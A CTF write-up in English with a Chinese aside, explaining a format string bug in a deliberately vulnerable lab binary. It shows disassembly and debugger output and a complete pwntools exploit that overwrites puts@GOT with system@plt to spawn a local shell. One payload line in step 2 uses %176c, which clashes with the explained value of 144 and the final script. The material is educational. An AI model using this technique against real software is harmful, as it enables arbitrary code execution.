# Simple PWN - 0x11(format string bug)
###### tags: `CTF` `PWN` `eductf`
## format string bug background
[printf %n](https://www.geeksforgeeks.org/g-fact-31/)

## Original Code
```cpp!=
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char fmt[0x20];
system("echo 'Give me fmt: '");
read(0, fmt, 0x20);
printf(fmt);
system("echo 'Give me string: '");
read(0, fmt, 0x20);
puts(fmt);
return 0;
}
```
```bash!
$ gcc -o fmt fmt.c -no-pie -fno-stack-protector -z norelro -zexecstack
```
* In this problem, we can consider to use `format string bug` to achieve `GOT hijacking` without buffer overflow.
* **The main idea is totally the same as [GOT hijacking lecture](https://hackmd.io/@UHzVfhAITliOM3mFSo6mfA/S1BBpSR5s)**
* Thus, we can observe which function can be overlapped by `system plt` → <font color="FF0000">**`puts function`**</font>
* Because...
`puts` just needs one argument like `system` function, but how about `printf`?
Unfortunately, it appeared before 2nd read function, because 2nd `read` needs to store the argument for `system` function such as `sh\x00`.
## Exploit - GOT hijacking + format string bug
**Our goal is hijack `puts GOT` to `system plt`**
1. Find `puts GOT` address and `system plt` → <font color="FF0000">`0x403318` and `0x401090`</font>
```bash
$ objdump -d fmt
...
0000000000401090 <system@plt>:
401090: f3 0f 1e fa endbr64
401094: f2 ff 25 85 22 00 00 bnd jmp *0x2285(%rip) # 403320 <system@GLIBC_2.2.5>
40109b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
...
$ gdb fmt
...
pwndbg> attach <PID>
pwndbg> got
GOT protection: No RELRO | GOT functions: 5
[0x403318] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x403320] system@GLIBC_2.2.5 -> 0x7f87de291d60 (system) ◂— endbr64
[0x403328] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x403330] read@GLIBC_2.2.5 -> 0x7f87de355980 (read) ◂— endbr64
[0x403338] setvbuf@GLIBC_2.2.5 -> 0x7f87de2c2670 (setvbuf) ◂— endbr64
...
```
2. Construct format string - try and error
```python!
r.sendafter("Give me fmt: ", b"%176c%8$hhn" + b"aaaaa" + p64(puts_got))
```
**從結果來看比較清楚**

* Parse `b"%176c%8$hhn" + b"aaaaa" + p64(puts_got)`
Our goal is overlap `puts GOT`, so we put address of puts_got at final position, that is `[%rsp + 16]`(format string: `$8`)
We want to modify `0x401030` to `0x401090`, so we just modify only **1 bytes**(format string: `%hhn`). In addition, <font color="FF0000">`0x90` is 144</font> as decimal.(format string: `%176c`)
Combine all format sting: `%176c%8$hhn` and other space can pad trash bytes
3. Pass the command to `system` function - `sh\x00` to open shell
```python!
r.sendafter("Give me string: ", "sh\x00")
```
4. Finally, we got shell!!!

* Whole exploit
```python!
from pwn import *
context.arch = 'amd64'
r = process("./fmt")
raw_input()
puts_got = 0x403318
system_plt = 0x401090
r.sendafter("Give me fmt: ", b"%144c%8$hhn" + b"aaaaa" + p64(puts_got))
r.sendafter("Give me string: ", "sh\x00")
r.interactive()
```